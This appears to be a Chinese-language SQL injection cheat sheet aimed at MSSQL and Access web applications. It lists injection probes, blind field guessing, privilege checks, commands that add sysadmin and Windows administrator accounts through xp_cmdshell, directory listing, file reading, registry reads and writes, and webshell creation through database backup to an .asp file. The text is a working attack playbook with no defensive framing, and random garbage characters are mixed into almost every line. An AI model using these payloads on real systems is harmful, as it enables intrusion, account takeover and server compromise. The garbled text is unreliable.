1.判断是否有注入;and 1=1 ;and 1=2 qa6,z.mQ
2.初步判断是否是mssql ;and user>0 Nluoqoac
a:S -
3.注入参数是字符'and [查询条件] and ''=' p#[.{
[:V$y1
4.搜索时没过滤参数的'and [查询条件] and '%25'=' f-2c0Bi
(ik\|y% A
5.判断数据库系统 }`"6aM
Kg$Mx
;and (select count(*) from sysobjects)>0 mssql ZB&6<uw
FC*[*
;and (select count(*) from msysobjects)>0 access Fx+*S3==%e
kW (Bkuc)
!Uc T RI
go"Hf_
6.猜数据库 ;and (select Count(*) from [数据库名])>0 qFNes)_r
_2nx^E(pd
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 $A`VYJtt#
,(4K4pN
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 6R5Qy]]E
@A5?3(e
9.(1)猜字段的ascii值(access) yZ`wfj$Jj
1QJL .
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 #,.Hr#3nI
_[y/Y\{I
(2)猜字段的ascii值(mssql) f
{"?%Ku#
)Wox Mmz
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 aATA9V
f9\X>zzB2|
10.测试权限结构(mssql) hL5|69E
$\! 7 {6a
)Z
VD+X
^VACf|0
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- ""D 4s
g4@ lM"|S
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- 9E6R0D}
(M
~e?s
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- &f;K}WO
+@:x!q|^
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- p^u:&Quac
@fV9
S"TcM
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- VYhbx
'e
6(e>P)
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- .%OR3"9@
QVE6We
;and 1=(select IS_MEMBER('db_owner'));-- 'Qo*y%{@5
XS BA$y
p[lA\@l[
fg{n(TE"8
11.添加mssql和系统的帐户 Rx|;=-8zg
_Y[bMuUb=
;exec master.dbo.sp_addlogin username;-- kE(mVyLQ
;exec master.dbo.sp_password null,username,password;-- gl_^V&c
v]c6R-U
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- eNu7~3k}
s|B3~Q]
;exec master.dbo.xp_cmdshell 'net user username password :U(A;U1,
-FCe:iY! A
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- !#"zTj
UOmY-\ &c
;exec master.dbo.xp_cmdshell 'net user username password /add';--
6B
?twh)
=iD3Yt
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- "v4B5:bmqW
kn"(A.R
t@Nyr&|D
Vl!6W@g
12.(1)遍历目录 D{~fDRR
<kd1Nrr!p
;create table dirs(paths varchar(100), id int) iRi-cQVy
P_p<`sC9
;insert dirs exec master.dbo.xp_dirtree 'c:\' AjgF6[B
mS~kJy_-
;and (select top 1 paths from dirs)>0 }I6vqG
QZ%`/\(!8_
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) X/M4!L}\
LAe6`foW/
kd$D 3S^{
d6sye^P
(2)遍历目录 _Z,\Vw:\F
p`#R<K
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- klR|6u]%
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 VEw"
\`\ZTZni
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 1s@+;QUib
Wh2tNyS
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 h@WhNk7"xa
#3 pb(fbw
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 yw3$2EW
fCobzDy
~B(4qK1G
R=
o2K
13.mssql中的存储过程 bl(RyAgA
1!T1Y,w
xp_regenumvalues 注册表根键, 子键 xZF}D/S?Ov
P0PWJ^+,+
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 <)-Sj,
be^6i:
xp_regread 根键,子键,键值名 xDoC(
_v=SH$O+
;exec xp_regread LRG6:&
jc f #6
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 TNh1hhJ$b
V0XvJ
xp_regwrite 根键,子键, 值名, 值类型, 值 K8.!_
c
<=0
u2~E
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 VsE9H]v
O[)kboY
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 >R!jB]5
rOOT8nkR#
xp_regdeletevalue 根键,子键,值名 ><$d$(
qd)/9*|Jl
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 > eIP.,9
2M'[,Xe
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 :GP]P^M;G@
QTXt8I
4'A!; ]:
Qq;Foa
14.mssql的backup创建webshell *P2S6z2
{|:;]T"y
use model Yqi4&~?db
5BKt1%Pg
create table cmd(str image); cH?B[S;]
gPsi
insert into cmd(str) values (''); es&vMY
;J2z p*|
backup database model to disk='c:\l.asp'; Zk"eA'"\
CtAwBQO
sN2p76KN
\2"I;
15.mssql内置函数 &*G#H~\
78# v
;and (select @@version)>0 获得Windows的版本号 Ksj -zR;
HxK80mJ
;and user_name()='dbo' 判断当前系统的连接用户是不是sa \BZhf?9U
`_RTw5{
;and (select user_name())>0 爆当前系统的连接用户 R:k5QD9/&p
E5xzy/ZQ
;and (select db_name())>0 得到当前连接的数据库 1Y@Aixx
iS Gq!D
f@DYN!Z_m
DSk/q-'u
16.简洁的webshell C:C}5<fkx
W$OG(m!W>
use model
!0@Yplj
W7\f1}]H
create table cmd(str image); D.Q=]jOs
CcFn.omA
insert into cmd(str) values (''); J)~L
|>htvDL
backup database model to disk='g:\wwwtest\l.asp';